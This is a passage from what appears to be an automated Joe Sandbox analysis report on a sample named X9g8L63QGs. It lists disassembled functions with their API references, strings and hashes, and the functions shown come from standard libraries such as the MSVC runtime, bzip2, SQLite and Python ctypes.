Instruction ID: a709e2cd2107991671dd991871d510489097f919fde36871e94fc2a77fb2df95
Opcode Fuzzy Hash: 8129fa0169d6cc1cc5ca1a8c8b43bbbd082598864b82464398da58a00a821778
Instruction Fuzzy Hash: C74138F2E18F928AF701AB78D8482F937A2BB05718F644431DA4C16394DF7CA944C790

Function 00007FFB1C259554 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFB1C259637

Strings

short , xrefs: 00007FFB1C2595D4
int , xrefs: 00007FFB1C2595C5
unsigned , xrefs: 00007FFB1C25960B
long , xrefs: 00007FFB1C2595B6
char , xrefs: 00007FFB1C2595DD

Memory Dump Source

Source File: 00000007.00000002.1715692326.00007FFB1C251000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFB1C250000, based on PE: true

Associated: 00000007.00000002.1715650944.00007FFB1C250000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715777428.00007FFB1C269000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715818880.00007FFB1C26A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1c250000_X9g8L63QGs.jbxd

Similarity

API ID: Name::operator+
String ID: char $int $long $short $unsigned
API String ID: 2943138195-3894466517
Opcode ID: a795c7ce3634cae38f4d320bfb7043b724aba026ad47a4d3d8bcb9e9dd899c8c
Instruction ID: 7fb7cbafcd355731d5fda3726f8202475528b98ca5b760c83c221b417fb91bce
Opcode Fuzzy Hash: a795c7ce3634cae38f4d320bfb7043b724aba026ad47a4d3d8bcb9e9dd899c8c
Instruction Fuzzy Hash: 04317EF2B18E918AE702AF78D8981F937B2BB06724F644135DE0C46B9CDE38D914C790

Function 00007FFB1BB1C848 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 22COMMON

Download Yara Rule

APIs

00007FFB2ADAFCF0.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FFB1BB1C855
00007FFB2ADAFCF0.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FFB1BB1C881
00007FFB2ADB03E0.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB1BB1C89B

Strings

1.0.8, 13-Jul-2019, xrefs: 00007FFB1BB1C85B
bzip2/libbzip2: internal error number %d.This is a bug in bzip2/libbzip2, %s.Please report it to: bzip2-devel@sourceware.org. If this happenedwhen you were using some program which uses libbzip2 as acomponent, you should also report this bug to the auth, xrefs: 00007FFB1BB1C868
*** A special note about internal error number 1007 ***Experience suggests that a common cause of i.e. 1007is unreliable memory or other hardware. The 1007 assertionjust happens to cross-check the results of huge numbers ofmemory reads/writes, and so ac, xrefs: 00007FFB1BB1C88A

Memory Dump Source

Source File: 00000007.00000002.1715481605.00007FFB1BB11000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00007FFB1BB10000, based on PE: true

Associated: 00000007.00000002.1715437200.00007FFB1BB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1715481605.00007FFB1BB25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1715572310.00007FFB1BB26000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1715611009.00007FFB1BB28000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1bb10000_X9g8L63QGs.jbxd

Similarity

API ID: 00007
String ID: bzip2/libbzip2: internal error number %d.This is a bug in bzip2/libbzip2, %s.Please report it to: bzip2-devel@sourceware.org. If this happenedwhen you were using some program which uses libbzip2 as acomponent, you should also report this bug to the auth$*** A special note about internal error number 1007 ***Experience suggests that a common cause of i.e. 1007is unreliable memory or other hardware. The 1007 assertionjust happens to cross-check the results of huge numbers ofmemory reads/writes, and so ac$1.0.8, 13-Jul-2019
API String ID: 3568877910-989448446
Opcode ID: c443f8599619f465039602253ad6094531c12857767df4a9adef1f549da5319b
Instruction ID: 9cfe8221cf522b3c15baa9ea00c58603663bbca0d3e369e5b97394e866493271
Opcode Fuzzy Hash: c443f8599619f465039602253ad6094531c12857767df4a9adef1f549da5319b
Instruction Fuzzy Hash: 4AE06DD8E18D06E2FB38A774F8953761357FF94760F00A439C90E0AEB1DD2C25148341

Function 00007FFB1C25967C Relevance: 9.2, APIs: 6, Instructions: 160COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 00007FFB1C25972E
DName::operator+.LIBVCRUNTIME ref: 00007FFB1C25973E
DName::operator+.LIBVCRUNTIME ref: 00007FFB1C25975B
DName::operator+.LIBVCRUNTIME ref: 00007FFB1C2597D2
DName::operator+.LIBVCRUNTIME ref: 00007FFB1C2597FB

Memory Dump Source

Source File: 00000007.00000002.1715692326.00007FFB1C251000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFB1C250000, based on PE: true

Associated: 00000007.00000002.1715650944.00007FFB1C250000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715777428.00007FFB1C269000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715818880.00007FFB1C26A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1c250000_X9g8L63QGs.jbxd

Similarity

API ID: Name::operator+$NameName::
String ID:
API String ID: 168861036-0
Opcode ID: fb95027d3fcee506583ce7d96f70b522a78626fdc6e378da2ca402aa0a92e4da
Instruction ID: 40b75ef8fc129309bc21f9a9f656145fed7cf685b98d880b01e742b81883f331
Opcode Fuzzy Hash: fb95027d3fcee506583ce7d96f70b522a78626fdc6e378da2ca402aa0a92e4da
Instruction Fuzzy Hash: 53717DF2B18E9286EB10AB75D8483ED37A2BB06764F648035DA0D07795CF79E856C380

Function 00007FFB0C0BEDE0 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 390COMMON

Download Yara Rule

APIs

00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C0BEE86

Strings

vtable constructor did not declare schema: %s, xrefs: 00007FFB0C0BF138
hidden, xrefs: 00007FFB0C0BF27D
vtable constructor failed: %s, xrefs: 00007FFB0C0BEFF9
vtable constructor called recursively: %s, xrefs: 00007FFB0C0BEFB2

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C263010
String ID: hidden$vtable constructor called recursively: %s$vtable constructor did not declare schema: %s$vtable constructor failed: %s
API String ID: 3122504284-1299490920
Opcode ID: fa3dc690295e3f608377f27ab0a4f558a20eccf051d3fb6e08adeb7d0f797da8
Instruction ID: 68e860147e72075fe797f3b83a5b11ceaebad8fe1ebc3e086bb3a3c80b3d0ea0
Opcode Fuzzy Hash: fa3dc690295e3f608377f27ab0a4f558a20eccf051d3fb6e08adeb7d0f797da8
Instruction Fuzzy Hash: 44028BF6A08B8282EA55CB65D848BB977A2FF44B94F044235EA9D07795EF3CE446C304

Function 00007FFB0C04C000 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 366COMMON

Download Yara Rule

APIs

00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C04C14D
00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C04C2A7

Strings

%s at line %d of [%.10s], xrefs: 00007FFB0C04C10C, 00007FFB0C04C253
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFB0C04C0F3, 00007FFB0C04C23A
database corruption, xrefs: 00007FFB0C04C100, 00007FFB0C04C247

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C263010
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 3122504284-3727861699
Opcode ID: eab345d482f7baabdec9e474e12e39428ea820bd0b391c33a24823f67c697a16
Instruction ID: 19bf43ca4be0041bd1ad431693218387ed12107279a4c8f6804441716cffca49
Opcode Fuzzy Hash: eab345d482f7baabdec9e474e12e39428ea820bd0b391c33a24823f67c697a16
Instruction Fuzzy Hash: 74F17CF2609B8186E7909F65E048BAE77A4FB45B94F108036EF8E43795EF39D844C704

Function 00007FFB0C086680 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 338COMMON

Download Yara Rule

APIs

00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C086812
00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C086A9E

Strings

unknown column "%s" in foreign key definition, xrefs: 00007FFB0C086A2E
foreign key on %s should reference only one column of table %T, xrefs: 00007FFB0C086705
number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 00007FFB0C08672E

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C263010
String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
API String ID: 3122504284-272990098
Opcode ID: 92dd0ee7cd3e1cdafc56de997d58c6f6f428c161758f1bf7218e81256f987700
Instruction ID: 9a696cf0ec2dca213edcf4f7a16e0a3a523182c2a220e7a05b504d1c668eabe3
Opcode Fuzzy Hash: 92dd0ee7cd3e1cdafc56de997d58c6f6f428c161758f1bf7218e81256f987700
Instruction Fuzzy Hash: 4BD1F3E2A0978182EB25CB21D048E796BA1FF55BD4F458131EE9D03785EF3DE549C708

Function 00007FFB1C2550B0 Relevance: 9.1, APIs: 6, Instructions: 83stringCOMMON

Download Yara Rule

APIs

__unDName.LIBVCRUNTIME ref: 00007FFB1C255103
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFB1C255146
strcpy_s.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFB1C255170
InterlockedPushEntrySList.KERNEL32 ref: 00007FFB1C25518D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFB1C255199
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFB1C2551A2

Memory Dump Source

Source File: 00000007.00000002.1715692326.00007FFB1C251000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFB1C250000, based on PE: true

Associated: 00000007.00000002.1715650944.00007FFB1C250000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715777428.00007FFB1C269000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715818880.00007FFB1C26A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1c250000_X9g8L63QGs.jbxd

Similarity

API ID: free$EntryInterlockedListNamePush__unmallocstrcpy_s
String ID:
API String ID: 3741236498-0
Opcode ID: d800493cf60e4af3f4a7c920cc646ece182b7dab7bd32bb736cb4877c8bf044e
Instruction ID: 1620fdf2235e6ab261075ba10d6991726bfd89fb09ec0fcc8c9a6b2bacbe576c
Opcode Fuzzy Hash: d800493cf60e4af3f4a7c920cc646ece182b7dab7bd32bb736cb4877c8bf044e
Instruction Fuzzy Hash: 9531A6A2B15F5152EE15EB39E8085EA27A2BF09BF4B658631DD1D43380EE3DD842C390

Function 00007FFB0C0455D0 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 314COMMON

Download Yara Rule

APIs

00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C045985
00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C04599A

Strings

%s at line %d of [%.10s], xrefs: 00007FFB0C04562D
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFB0C045615
database corruption, xrefs: 00007FFB0C045621

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C263010
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 3122504284-3727861699
Opcode ID: 5ce4de3094b3936009b68ce7b97789b60abce1f3b9da125a688e22a66712f262
Instruction ID: 6f8b1e1a7e562edea2cd94494a6022cf9100a4b298cda5a28b7b50e4bbfbea93
Opcode Fuzzy Hash: 5ce4de3094b3936009b68ce7b97789b60abce1f3b9da125a688e22a66712f262
Instruction Fuzzy Hash: ACD19EF2A0868587DB60CF65E848BAAB3A5FF84B84F554036DE4D47794EF38D841C744

Function 00007FFB0C078C10 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 299COMMON

Download Yara Rule

APIs

00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C078E2D
00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C078EFC
00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C078FFC

Strings

%Q%s, xrefs: 00007FFB0C078F62
"%w" , xrefs: 00007FFB0C078CBB

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C263010
String ID: "%w" $%Q%s
API String ID: 3122504284-1987291987
Opcode ID: 697807ff2bef80b0a8f6c162638d2e41be052984f89453d995ead0cb1d7b40fc
Instruction ID: a9afe59ef0ab6ebf0018adde6176277bf0f78a02c63e38b17fa4ba85dd2adb86
Opcode Fuzzy Hash: 697807ff2bef80b0a8f6c162638d2e41be052984f89453d995ead0cb1d7b40fc
Instruction Fuzzy Hash: 7CC1D4E1A08A8185EA19CF25E448A7967A1FF45BE0F688335DE6E077E4EF3CE454C704

Function 00007FFB0C041040 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 253COMMON

Download Yara Rule

APIs

00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C041317
00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C041385

Strings

%s at line %d of [%.10s], xrefs: 00007FFB0C0410DA
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFB0C0410C2
database corruption, xrefs: 00007FFB0C0410CE

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C263010
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 3122504284-3727861699
Opcode ID: 0235fca2d0f175db58fc5e3e3c02f5a62c82d5e712601103777287498438dc37
Instruction ID: 0c462e05e40bfcf697d84cf158d4ebac5a0fa8468a72e414274017eab86c3227
Opcode Fuzzy Hash: 0235fca2d0f175db58fc5e3e3c02f5a62c82d5e712601103777287498438dc37
Instruction Fuzzy Hash: ADA1E9F2A0C2D185D7648B29D498ABE7BA2FF80781F454235DB8A83745EF3CE495C714

Function 00007FFB1B6FAD70 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 215COMMON

Download Yara Rule

APIs

00007FFB0C2F805C.PYTHON312 ref: 00007FFB1B6FB047

Strings

slice stop is required, xrefs: 00007FFB1B6FAE92
slice step cannot be zero, xrefs: 00007FFB1B6FAE45
slice start is required for step < 0, xrefs: 00007FFB1B6FAE0D
Pointer indices must be integer, xrefs: 00007FFB1B6FB084

Memory Dump Source

Source File: 00000007.00000002.1714967826.00007FFB1B6F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00007FFB1B6F0000, based on PE: true

Associated: 00000007.00000002.1714933150.00007FFB1B6F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1714967826.00007FFB1B708000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1714967826.00007FFB1B710000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1715084541.00007FFB1B712000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1715123647.00007FFB1B714000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1b6f0000_X9g8L63QGs.jbxd

Similarity

API ID: 00007F805
String ID: Pointer indices must be integer$slice start is required for step < 0$slice step cannot be zero$slice stop is required
API String ID: 4011786353-3059441807
Opcode ID: ade25bbd3f50eefddba590a24cab0693854007375ec98fc59b974406f104237a
Instruction ID: 2fec624dbf6d1f15f8223d067b493e5640b4408a8d3e40b5d5239a91a7d93627
Opcode Fuzzy Hash: ade25bbd3f50eefddba590a24cab0693854007375ec98fc59b974406f104237a
Instruction Fuzzy Hash: 429139A1B09E0281EE159B36EDA4138A367AF65FF0B44E536E92D47BF4DF2CE4459300

Function 00007FFB0C077CA0 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 215COMMON

Download Yara Rule

APIs

00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C077EAE
00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C077F19

Strings

Cannot add a column to a view, xrefs: 00007FFB0C077D54
virtual tables may not be altered, xrefs: 00007FFB0C077D38
sqlite_altertab_%s, xrefs: 00007FFB0C077E6D

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C263010
String ID: Cannot add a column to a view$sqlite_altertab_%s$virtual tables may not be altered
API String ID: 3122504284-2063813899
Opcode ID: 6f3502865f2554c3b22856db225aa2943b439a183bdfd32a53b0fa553fb1f819
Instruction ID: cf53adfb51073ff6af2351a0298f4ab880cf10ab832fbedbb7b6e0c93c98aecd
Opcode Fuzzy Hash: 6f3502865f2554c3b22856db225aa2943b439a183bdfd32a53b0fa553fb1f819
Instruction Fuzzy Hash: 1591CDE2A09B9182EB56CF29D418AB977A1FF88BC0F558235DE8D47785EF38E440C304

Function 00007FFB0C048690 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 211COMMON

Download Yara Rule

APIs

00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C04884C
00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C048951

Strings

%s at line %d of [%.10s], xrefs: 00007FFB0C048746
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFB0C04872C
database corruption, xrefs: 00007FFB0C04873F

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C263010
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 3122504284-3727861699
Opcode ID: cd9a2a69e9f7d6ade83202e689fa17b35f9cfb5684c60c5359bf09700d52bd0d
Instruction ID: 0f6437d9e5c5d9b9bbeaf34dd31ffce86bdd2fa834a4560557ed717986a441dd
Opcode Fuzzy Hash: cd9a2a69e9f7d6ade83202e689fa17b35f9cfb5684c60c5359bf09700d52bd0d
Instruction Fuzzy Hash: 9091E1E2A086C186D7118B36D198ABE77E0FF40784F088636DB8E87695EF3CE955C744

Function 00007FFB0C04B070 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 197COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFB0C0498B0: 00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C04991D
Part of subcall function 00007FFB0C0498B0: 00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C049944

00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C04B2F3
00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C04B309

Strings

%s at line %d of [%.10s], xrefs: 00007FFB0C04B137
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFB0C04B117
database corruption, xrefs: 00007FFB0C04B130

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C263010
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 3122504284-3727861699
Opcode ID: 3d911d27234210aac6b08763dd98c396f9c552569a20e5164efd14393bc372d3
Instruction ID: 4420cf58725daae6a21a5e9791ce70a3dd4a569f79f3f07e8fed487c5966d514
Opcode Fuzzy Hash: 3d911d27234210aac6b08763dd98c396f9c552569a20e5164efd14393bc372d3
Instruction Fuzzy Hash: C281ADF2608A8287E7609F79D448BAE77A5FB44B84F448036EB8E47791EF38E445C704

Function 00007FFB1C252604 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 193COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFB1C255508: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFB1C25108E), ref: 00007FFB1C255516

EncodePointer.KERNEL32 ref: 00007FFB1C252674
_CallSETranslator.LIBVCRUNTIME ref: 00007FFB1C2526BF
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB1C2528F2

Strings

MOC, xrefs: 00007FFB1C252688
RCC, xrefs: 00007FFB1C252690

Memory Dump Source

Source File: 00000007.00000002.1715692326.00007FFB1C251000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFB1C250000, based on PE: true

Associated: 00000007.00000002.1715650944.00007FFB1C250000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715777428.00007FFB1C269000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715818880.00007FFB1C26A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1c250000_X9g8L63QGs.jbxd

Similarity

API ID: abort$CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 2889003569-2084237596
Opcode ID: d60a8ffad84e6f064a5763a2c166d11077ba1814d2ca81799213d95430020a2c
Instruction ID: 518d7aa90dad55af3c0331f36428d65abab3b82f4cb9e60636a7fe804e4bb9fe
